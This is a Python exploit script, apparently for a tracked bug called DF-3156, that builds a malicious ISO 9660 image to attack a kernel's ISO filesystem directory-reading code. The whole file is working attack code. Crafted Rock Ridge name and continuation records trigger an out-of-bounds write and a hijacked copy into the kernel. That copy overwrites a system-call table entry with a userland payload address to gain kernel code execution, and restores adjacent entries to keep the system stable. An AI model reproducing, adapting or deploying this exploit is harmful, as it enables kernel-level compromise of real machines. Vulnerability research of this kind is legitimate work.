DF-3156 / craft_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | #!/usr/bin/env python3 # DF-3156 exploit image v2. # # Two independent attacker-controlled byte streams: # (a) NM chain content -> idp->current.de.d_name[0..255): this is what the # hijacked uiomove() copies into the kernel (dirent header + these bytes) # (b) ISO record name -> the defname() OOB write at d_name+255: smashes # the isoreaddir tail (curroff, uio ptr, cookies, ...) # # Copy mapping (TARGET = &sysent[71] - 16 = 0xffffffff810c7f98): # copy[0..16) dirent hdr (d_ino, d_namlen, stale) -> sysent[70] (sstk, dead) # copy[16..20) NM[0..4) -> sysent[71].sy_narg = 0 # copy[20..24) NM[4..8) -> sysent[71].sy_rsize = 4 # copy[24..32) NM[8..16) -> sysent[71].sy_call = ring0 stub <-- HIJACK # copy[32..40) NM[16..24) -> sysent[71].sy_abort = 0 # NM[24..120) restore sysent[72..77] (vadvise, munmap, mprotect, madvise, # vhangup, vlimit) to their original table values so every # live syscall keeps working after the write # Smash mapping (idp->current.de.d_name + 255 + name[i]): # name[17..24) -> idp->curroff = huge (readdir loop exits cleanly) # name[25..32) -> idp->uio = fake struct uio (userland) # name[53..60) -> idp->cookies = NULL, name[61..64) ncookies = 0 (zeros) import struct, sys sys.path.insert(0, '.') from craft_dangle import b733, b723, susp, sp, er, px, dirrec, BSZ, ROOT_EXT, TRIG_EXT, NSEC SYS_NOSYS = 0xffffffff80661740 SYS_MUNMAP = 0xffffffff809a8400 SYS_MPROTECT = 0xffffffff809a84e0 SYS_MADVISE = 0xffffffff809a85d0 PAYLOAD = 0x0000000020000040 FAKE_UIO = 0x0000000020001000 def I(v): return struct.pack('<I', v) def q(v): return struct.pack('<Q', v) # ---- (a) NM chain: the bytes uiomove copies into sysent ---- nm = bytearray(b'C' * 255) # filler def nput(off, data): nm[off:off+len(data)] = data nput(0, I(0)) # 71.sy_narg = 0 nput(4, I(4)) # 71.sy_rsize = 4 nput(8, q(PAYLOAD)) # 71.sy_call = payload (copy[24..32)) nput(16, q(0)) # 71.sy_abort # sysent[72] vadvise (obsolete): {0,4,nosys,0} @ copy[40..64) = NM[24..48) nput(24, I(0) + I(4) + q(SYS_NOSYS) + q(0)) # sysent[73] munmap: {2,4,munmap,0} @ copy[64..88) = NM[48..72) nput(48, I(2) + I(4) + q(SYS_MUNMAP) + q(0)) # sysent[74] mprotect: {3,4,...} @ copy[88..112) = NM[72..96) nput(72, I(3) + I(4) + q(SYS_MPROTECT) + q(0)) # sysent[75] madvise @ copy[112..136) = NM[96..120) nput(96, I(3) + I(4) + q(SYS_MADVISE) + q(0)) # sysent[76] vhangup {0,4,nosys,0} @ copy[136..160) = NM[120..144) nput(120, I(0) + I(4) + q(SYS_NOSYS)) # (copy ends at 152: NM[128] would be 77.sy_call low byte; sys_nosys low # byte is 0x40 -- set it to keep 77 intact) nm[128] = 0x40 nm1 = bytes(nm[0:5]) # first NM entry: 5 payload bytes nm2 = bytes(nm[5:255]) # continuation entry: 250 bytes # ---- (b) ISO name: the defname OOB write (idp tail smash) ---- name = bytearray(131) name[0] = 0x41 # 'A' -- MUST be non-0/1: c==0/1 makes getname() treat # this record as "."/"..", skip the NM table row and run # defname() at the buffer base (no OOB, no hijack) def xput(off, data): name[off:off+len(data)] = data xput(17, q(0x0000ffffffffffff)) # curroff huge -> loop exit xput(25, q(FAKE_UIO)) # idp->uio -> fake # name[0] = 0 makes defname's switch take case 0 (strcpy ".." at base+255, # clobbering only saveoff) -- harmless; zeros elsewhere clear cookies etc. CE_BLK = 34 img = bytearray(b'\x00' * (BSZ * NSEC)) pvd = bytearray(BSZ) pvd[0] = 1; pvd[1:6] = b'CD001'; pvd[6] = 1 pvd[8:40] = b'DF3156 EXPLOIT IMG2'.ljust(32) pvd[40:72] = b'DF3156'.ljust(32) pvd[80:88] = b733(NSEC) pvd[120:124] = b723(1); pvd[124:128] = b723(1) pvd[128:132] = b723(BSZ) pvd[132:140] = b733(10) root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) + bytes([2, 0, 0]) + b723(1) + bytes([1, 0])) pvd[156:190] = root pvd[881] = 1 img[16*BSZ:17*BSZ] = pvd term = bytearray(BSZ); term[0] = 255; term[1:6] = b'CD001'; term[6] = 1 img[17*BSZ:18*BSZ] = term susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0) dot = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot) dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot) nm1e = susp('NM', b'\x01' + nm1) # NM CONT, len 10 cee = susp('CE', b733(CE_BLK) + b733(0) + b733(255)) trig = dirrec(bytes(name), TRIG_EXT, 0, 0, nm1e + cee) assert len(trig) == 33 + 131 + 38, len(trig) z = dirrec(b'Z', TRIG_EXT + 1, 0, 0, px()) d = bytearray(BSZ); off = 0 for rec in (dot, dotdot, trig, z): d[off:off+len(rec)] = rec; off += len(rec) assert off <= BSZ img[32*BSZ:33*BSZ] = d ceb = bytearray(BSZ) nm2e = susp('NM', b'\x01' + nm2) # NM CONT, len 255 -- chain dangles assert len(nm2e) == 255 ceb[0:255] = nm2e img[CE_BLK*BSZ:(CE_BLK+1)*BSZ] = ceb open(sys.argv[1] if len(sys.argv) > 1 else 'df3156_exploit.iso', 'wb').write(bytes(img)) print('ok') |